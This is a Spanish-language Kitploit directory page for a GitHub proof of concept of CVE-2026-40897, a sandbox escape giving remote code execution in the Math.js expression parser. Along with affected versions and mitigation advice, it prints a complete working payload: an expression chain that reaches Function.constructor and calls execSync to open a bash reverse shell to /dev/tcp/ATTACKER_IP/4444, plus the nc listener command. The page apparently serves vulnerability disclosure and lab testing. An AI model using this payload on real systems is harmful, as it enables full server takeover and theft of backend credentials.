Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-40897 — RCE en el analizador de expresiones de Math.js | Kitploit
Herramientas/GitHubGitHub/eqstlab/cve-2026-40897
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubeqstlab/cve-2026-40897

CVE-2026-40897

RCE en el analizador de expresiones de Math.js

Ver Repositorio
2hace 22 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-40897 Ejecución Remota de Código en el Analizador de Expresiones de Math.js

★ CVE-2026-40897 Ejecución Remota de Código en Math.js PoC ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898


Resumen

CVE-2026-40897 es una vulnerabilidad de Omisión de Sandbox que conduce a Ejecución Remota de Código en el analizador de expresiones de Math.js. El filtro isSafeProperty solo verifica el acceso a propiedades desde expresiones de usuario, no desde rutas de código internas. Al filtrar el array interno de ArrayNode mediante toJSON() y sobrescribir su .map, un atacante puede forzar al código interno a acceder a Function.constructor y ejecutar JavaScript arbitrario.


Versiones Afectadas

Descargar herramienta
CategoríaVersión
VulnerableMath.js 13.1.1 ≤ versión ≤ 15.1.1
Parcheada15.2.0

Impacto

  • Ejecución de código JavaScript arbitrario (RCE)
  • Acceso al sistema de archivos del host
  • Conexión de shell inversa que conduce al compromiso total del servidor
  • Exfiltración de credenciales de backend y datos sensibles

Entorno

root@kitploit:~
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

PoC

Después de iniciar el entorno vulnerable, siga los pasos a continuación para reproducir el ataque.

Paso 1. Iniciar un listener de shell inversa

root@kitploit:~
nc -lvnp 4444

Paso 2. Enviar el payload malicioso

Envíe la siguiente expresión a math.evaluate (por ejemplo, a través de la entrada de cálculo de la aplicación).

root@kitploit:~
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

Paso 3. Confirmar el acceso al shell en el lado del atacante

El servidor objetivo se conecta de vuelta al listener del atacante, otorgando un shell bash interactivo.


Mitigación

  • Actualice Math.js a una versión parcheada
  • Evite pasar entrada de usuario no confiable directamente a math.evaluate()
  • Restrinja la exposición de funciones/clases internas (reviver, FunctionAssignmentNode, ArrayNode) a través del analizador de expresiones

Análisis

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
  • EN: https://www.skshieldus.com/en/report?tab=eqst